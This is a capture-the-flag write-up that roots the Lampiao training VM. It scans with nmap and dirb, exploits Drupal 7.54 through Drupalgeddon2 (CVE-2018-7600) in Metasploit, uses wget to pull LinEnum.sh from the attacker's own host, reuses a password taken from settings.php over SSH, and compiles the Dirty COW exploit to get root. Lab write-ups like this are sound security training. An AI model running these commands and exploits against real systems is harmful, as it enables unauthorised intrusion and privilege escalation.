Lampiao

I downloaded Lampiao about a year ago and never got round to trying anything with it. I remember absolutely nothing written about this box, so every step is bound to be an adventure!

So today is the day, lets see what we can do.

First I scan my internal network to find out the IP address of the VM. A quick nmap scan shows 5 results, one of which is my computer. One is my kali VM. So I had a few left, after a quick search I found that 192.168.116.130 looked like a potential winner.

nmap -sC -Pn 192.168.116.0/24

Heading over to port 80, I am greeted by some ASCII art and the message:

 "It's easy, Fidumaegua"

which I think is a latin name? Basically, if this isn’t our box, then I really need to work out what the hell is on my home network!

Anyway, a further nmap scan including all ports was run:

nmap -sC -sV -O -p- -oA nmap/lampiao.nmap 192.168.116.130

This has given us slightly more detail than before.

We have Port 22 open – which is OpenSSH v6.6

The box shows it’s Ubuntu

Port 80 is open, as we have already found.

In addition there is Apache running on port 1898. The output here is pretty useful from the nmap scripts:

Lets go see what that webpage has to offer:

So we have a log in box, but no creds as of yet. We also have a couple of articles. There is reference to an mp3 file and the fact node 2 isn’t working. Neither of these mean anything to me quite yet.

I’ll see what the pages nmap found have to offer, but in the meantime I’ll be running a dirb scan. It’s always worth running any scans in the background while doing manual enumeration, you never know what else you might find!

dirb http://192.168.116.130:1898 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

(Nothing of use was found by dirb)

Looking through the directories found by nmap we have:

/misc/ – this shows all the files used for the website, a bunch of image and javascript files. A quick look doesn’t look to have anything overly useful but we will come back here if we don’t find anything else.

/includes/ – this has a bunch of .inc files. These hold the javascript code. However there are a couple of folders. Looking at database, we have a mysql folder. Maybe there is a config file with the password? Nothing that useful, there is lot of information in the files, but all looks to be quite standard.

/modules/ – this contains all the details about the drupal process. Again, a lot of information but unsure if it is what we are looking for.

/profiles/ – this contains the profiles associated with the drupal core. There are 3 folders, one of which is testing. Maybe a default username/password combo is in place here?

/scripts/ – Wow there are some cool things in here:

Password-hash.sh sounds pretty interesting. This file shows us how the hash is created. If we find a hash, we should be able to use this to reverse engineer it into the plaintext password.

/CHANGELOG.txt – This lets us know that we are running Drupal 7.54. This might be useful later for exploits!

The other directories don’t yield much. Interestingly cron.php we get an Access Denied. So that could be interesting later on.

Under the front page, the “Create new account” takes us to a user registration page. This has options 3 options:

• Create New Account
• Log In
• Request New Password

Lets take a quick look at the request for creating a new account.

Forwarding this request, we get errors about unable to send e-mail. So that’s a bit of a dead-end!

We do however, know of 2 usernames on the site. From the 2 articles on the front page. We have:

• Eder
• tiago

Can we request a new password and intercept that?

We can, but it didn’t yield anything interesting. What we have noticed though, is the addresses that the site uses:

http://192.168.116.130:1898/?q=user

Anytime I see the ? I wonder if SQL injection might work here. We know there is a drupal database running, so it’s quite possible.

Lets fire up sqlmap and see what we can find. Ok, so on the user page, there doesn’t appear to be anything.

Lets try the registration page. Looking at creating a new user creates a POST request. If we change that to a GET request, we get it all in the URL. Lets put this through SQLMap. Nothing, ok it’s possible this isn’t the way to go. 

We have a few options here. We know 2 usernames, we can try and brute force the log-in, but that seems noisy and as if we are missing something. 

Let’s do some actual research and see if there are any exploits available for drupal. 

searchsploit drupal

Blimey!

We know from earlier looking at the changelog that the version of Drupal is: Drupal 7.54

Sadly, this doesn’t let us use any of the Drupalgeddon SQL Injections to add a new admin user. As that would have been sweet.

However, less than 7.58 allows Drupalgeddon2 & 3. #3 requires authentication which we don’t have, so lets focus on 2. 

Lets have a quick look at the PoC for Remote Code Execution. This vulnerability has CVE-2018-7600. 
It looks like it bypasses part of the “user/register?” aspect of the site. Lets spin up metasploit and give it a go. 

A quick search for drupal gives a few options:

Lets look at drupal_drupalgeddon2, so we go:

use exploit/unix/webapp/drupal_drupalgeddon2

Showing options we get a bit of a list

Setting the RHOSTS and RPORTS to the right values. Lets Run!

msf opens up a TCP handler for us on port 4444 and within seconds session1 is opened!

Lets run “shell” to give us an interactive shell. Then a quick whoami

You’ll notice it’s a rubbish shell, shall we try upping it to a bash shell.

/bin/bash didn’t work. So lets see if python is installed

python -v lets us know that python v2.7 is installed.

python -c 'import pty;pty.spawn("/bin/bash")'

We now have an interactive bash shell as www-data.

A quick look at /etc/passwd shows there are 2 very interesting users

We have root and tiago. So lets try and do some priv-esc to see if we can get up to either of these.

A quick look in tiago’s home directory doesn’t give us anything. However .bash_history is there but we get permission denied.

Let’s get LinEnum on this box and see what we can find. I open up a webserver on my kali box:

python -m SimpleHTTPServer 9001

Download onto the box with a wget.

wget http://192.168.116.134:9001/LinEnum.sh

Giving appropriate run permissions with

chmod a+x LinEnum.sh

./LinEnum.sh

We get a decent output, showing the Linux version is Ubuntu 14.04.5 (Trusty)

2 previous users have logged in, not a surprise that it’s tiago and root.

There is a whole bunch of information. But lets go back a step, we never did log into the website. I wonder if there are creds anywhere.

There are a few directoties, the sites looks the most interesting, I wonder if there is a password anywhere? Rather than searching each one manually, I’m going to use grep.

grep -iR password .

One of those, is not like the others. Lets go look in default/settings.php

ok, drupaluser, not sure what this is. We know 2 users names, lets try them on the website with Virgulino. Neither of those work.

A quick check of ssh (easy win, right!) is worth while.

Woah, that actually worked. I am stumped, I didn’t think it would!

After that easy win, maybe a su to root will work. No we get asked for a password. Not unexpected!

A quick try of sudo su lets us know that tiago isn’t in the sudoers group. Can we change that?

usermod -aG sudo tiago

We don’t have permission to etc/passwd which isn’t a shock but always worth a go!

Ok, so knowing a little about exploits, I quick search shows Ubuntu 14.04 is vulnerable to dirtycow.

To double check this, I wget linux-exploit-checker onto the box and run it.

Yeah, these 2 dirtycow exploits should work. Although it’s noisy and seems a bit heavy handed for a CTF like this, I did a quick google and it looks to be the expected route in.

So, I downloaded dirty cow2 exploit from the link in the linux-priv-checker:

https://www.exploit-db.com/raw/40847

Next we had to compile dirtycow. Luckily g++ is installed so it was a simple case of following the instructions:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

Now that we had a dirty cow executable we run:

./dcow

Wow, that was straight forward.

Having a little look around, we find flag.txt in roots home directory

And there we have it! Box rooted!